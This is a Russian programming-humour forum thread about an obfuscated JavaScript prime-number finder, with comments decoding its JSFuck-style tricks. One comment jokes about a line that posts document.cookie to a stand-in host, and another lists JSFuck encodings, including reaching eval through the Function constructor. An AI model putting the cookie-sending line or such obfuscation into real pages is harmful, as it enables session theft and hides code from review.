ЙажаСценарий / Говнокод #17222 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
function kevinTheNumberMentioner(_){
  l=[]
  /* mostly harmless --> */ with(l) {
  	
  	//Sorry about all this, my babel fish has a headache today...
  	for (ll=!+[]+!![];ll<_+(+!![]);ll++) {
  	  lll=+!![];
  	  while (ll%++lll);
  	  //I've got this terrible pain in all the semicolons down my right-hand side
  	  (ll==lll)&&push(ll);
  	}
  	forEach(alert);
  	
  }
  
  //You're really not going to like this...
  return [!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]];
}

Открыл твитор, а там - это.

http://arstechnica.com/information-technology/2014/11/holiday-reading-for-a-certain-sort-if-hemingway-wrote-javascript/

Запостил: Xom94ok Xom94ok, (Updated )

Комментарии (67) RSS

    • Это что получается, миссия говнокода завершена? o_O
      Ответить
      • Кстати, очень не хватает кнопки [Выполнить].
        Ответить
          • Пойду запощу говнокод про $.post("http://my-site", {cookies: document.cookie;})
            Ответить
              • > alert('Выполнять всякую хрень опасно!');
                > return false;
                Какой полезный скрипт...
                Ответить
              • > техникой из <ссылка проверяется модератором>
                Сурово. Но декодер один хрен нужен, а его присутствие намекает на то, что тут что-то скрыто...
                Ответить
                • А в ништячке (в конце статьи) выражение очень похоже на строку. Если на ГК запороть подсветку кода, можно будет подумать, что автор кода скопировал то, что передавали в eval в каком-то скрипте.
                  Ответить
          • Что-то случилось с гитхабом? (у меня со вчерашнего дня не отвечает)
            Ответить
              • Не. В общем, это местечковый провайдер хулиганит...
                PS. Вообще-то, таки случился.
                Ответить
            • Да опять какой-то придурок репу про суициды залил, а далеко не все провайдеры могут банить по URL'ам.

              Ссылка на репозиторий удалена по требованию роскомнадзора
              Ответить
              • 1024-- набросал мелкую петушню - гитхаб забанили...
                Ответить
              • Блин, а забавные там стишки о суициде, ржали всем отделом 😉

                Ссылка удалена по требованию роскомнадзора
                Ответить
                • Интересно если какое-нить конардо завайпает сайт suicide.txt ГК прикроют?
                  Я думаю это неплохой дабл пиар.
                  Ответить
                    • Удалить то удалит. Но перед этим попеарит сайт.
                      Бугага.
                      Роскомнадзор - мы предоставляем услуги по бесплатной раскрутке сайтов.
                      Ответить
              • > далеко не все провайдеры могут банить по URL'ам

                Особенно, когда ссылка начинается с https://
                Ответить
                • Ну тот же ростелеком раньше MITM'ом страдал, подсовывая свой серт вместо настоящего.
                  Ответить
                  • >>подсовывая свой серт вместо настоящего.
                    Ебануться бляди! Одного этого факта достаточно чтоб больше ими никогда не пользоваться.
                    Ответить
                    • Ну как я тебе пруф дам? Вчера 80 и 443й порты гитхаба тупо дропали пакеты. 22й работал нормально (т.е. git push/git pull вполне работали без всяких проксей).

                      Несколько месяцев назад ради теста заходил на запрещенный сайт по https, и мозила вопила о том, что сертификат не соответствует домену. Если принять серт - выдавал обычную табличку о том, что доступ к сайту заблокирован по требованию соотв. органов. Об этом вроде бы на хабре и бордах несколько раз упоминали. Лень искать. На хабре, емнип, даже нажаловались на этот серт его издателю.
                      Ответить
                  • Ещё одна причина в пользу велосипедного шифрования. Надеюсь недавно запущенный отечественный Скайнет не болеет всякой подобной хуитой.
                    Ответить
                    • еще одна причина поставить плагин который выдавал бы сразу же второе от корня имя в сертификате. И если там ростелегом -- сразу же болкировал бы сайт.
                      Ответить
                      • Если это действиетльно было так - долбать УЦ чтобы отозвал сертификат митмера, вроде для митма сертификаты не выдают? 🙂
                        Ответить
                        • Вот кстати да.

                          Ну тут одно из двух: или юзер поставил МИТМовый серт в доверенные, или тафт с верисайном продались дьяволу и выдали ростелегому серт на домен, коий им не принадлжыт.

                          Так как оба варианта маловероятны, реквестую Борманда в тред: нехай разъяснит детали
                          Ответить
                      • сатиристический_рассказ_о_продаже_оружия_одному_правителю_и_продаже_защиты_от_него_другому.txt
                        к сожалению память уже не та
                        Ответить
                      • Зачем плагин то? Тот же ФФ изкоробки на такие сайты не пускает, ибо имя сайта не соответствует имени домена. Так что, походу, попытка была неудачной и они от этой ебанутой идеи отказались.
                        Ответить
    • Чушь какая-то.

      +[]=0
      !(+[])=true
      true+true+true+true=4
      [!+[]+!+[]+!+[]+!+[]] + [!+[]+!+[]] = [4]+[2]
      И что тут смешного? Плакать надо.
      Ответить
      • Спасибо за расшифровку для того, кто в танке. Мне подумалось, что расписав код по кругу, можно вызвать дьявола 🙂
        > Плакать надо.
        > > Если бы Хемингуэй писал на JavaScript
        Тут, похоже, не плакать надо, а вдумчиво дрочить медитировать над книгой 😉
        Ответить
        • Мда. Думал что меня наоборот - заминусуют за копетанство.
          Ответить
          • Программист - это компромисс между оптимизационной ленью и желанием активно использовать мозг.
            В данном случае лень перевешивает.
            Ответить
            • Так ладно что заметен паттерн: 4 раза и потом 2.
              Но ведь http://www.jsfuck.com/ известен в узких кругах.
              false       =>  ![]
              true        =>  !![]
              undefined   =>  [][[]]
              NaN         =>  +[![]]
              0           =>  +[]
              1           =>  +!+[]
              2           =>  !+[]+!+[]
              10          =>  [+!+[]]+[+[]]
              Array       =>  []
              Number      =>  +[]
              String      =>  []+[]
              Boolean     =>  ![]
              Function    =>  []["filter"]
              eval        =>  []["filter"]["constructor"]( CODE )()
              window      =>  []["filter"]["constructor"]("return this")()
              Ответить
              • > 10 => [+!+[]]+[+[]]
                Фу, читерство. И в обсуждаемом ГК тоже в конце строка, как будто лишнего плюса и скобочек жалко.

                P.S.
                > Function => []["filter"]
                []["filter"]["constructor"]
                Ответить
            • > while (ll%++lll);
              > (ll==lll)&&push(ll);
              Я вот по этой штуке предположил, что это что-то типа наивного поиска простых чисел. Но разбирать остальной говнокод с +[] было лень. Поэтому я тупо открыл статью, и узнал, что это действительно поиск простых чисел.
              Ответить
                  • >а не map? map же короче.
                    А я что дальше написал?
                    Проблема в том что pop поддерживается большим числом браузеров чем map. (Пользователи старых ишаков тоже хотят запускать непонятные коды)
                    Ответить
                    • > А я что дальше написал?
                      Когда я писал про map - я этот апдейт еще не видел.

                      Олсо - раз нам "constructor" один хер собирать, может можно поюзать []["constructor"]["constructor"], если как-то удастся его упихать в переменную?
                      Ответить
                      • Мне еще нравится как они буквы достают
                        (!![]+"")[0]==t
                        (![]+"")[0]==f
                        Можно было сделать так:
                        (!![]+"").length+[!+[]+!+[]]==42
                        Ответить
                • Кстати, filter походу выбран из-за того, что его можно сложить из false, true и undefined! map и pop из скобок так просто не собрать, а у jsfuck жесткое ограничение на символы.
                  Ответить
                  • >map и pop из скобок так просто не собрать, а у jsfuck жесткое ограничение на символы.
                    Хм. Действительно. Хотя надо подумать можно ли в чарах.

                    Не надо забывать про слова из typeof
                    Ответить
                    • Но как мы его вызовем, если допустимые символы - []()+!
                      Ответить
                      • Да. Забылся.
                        А еще у строки есть методы. sup, sub, trim -
                        Особенно хорош trim

                        tri - есть и в filter и в trim
                        fe = '(false+"")[0]','(true+"")[3]',
                        'm' = '((+[])+"")[11]',
                        Ответить
                      • Если try-catch можно, то можно еще слов наковырять, но будет сильно браузеро-зависимо.
                        Ответить
              • Поскольку я раньше видел подобные фокусы, то знал, что там может быть всё, что угодно, и для разгадки потребуется снять с кода три-четыре шкуры. Я посмотрел на всё это как на абстрактную картину и пошёл к своему коду, умолявшему меня вылечить его от тяжёлого бага.
                Ответить
  • > (ll==lll)&&push(ll);
    Скриптовик скриптовика видит из далека
    Ответить

Добавить комментарий

Семь раз отмерь — один отрежь, guest!

    А не использовать ли нам bbcode?


    8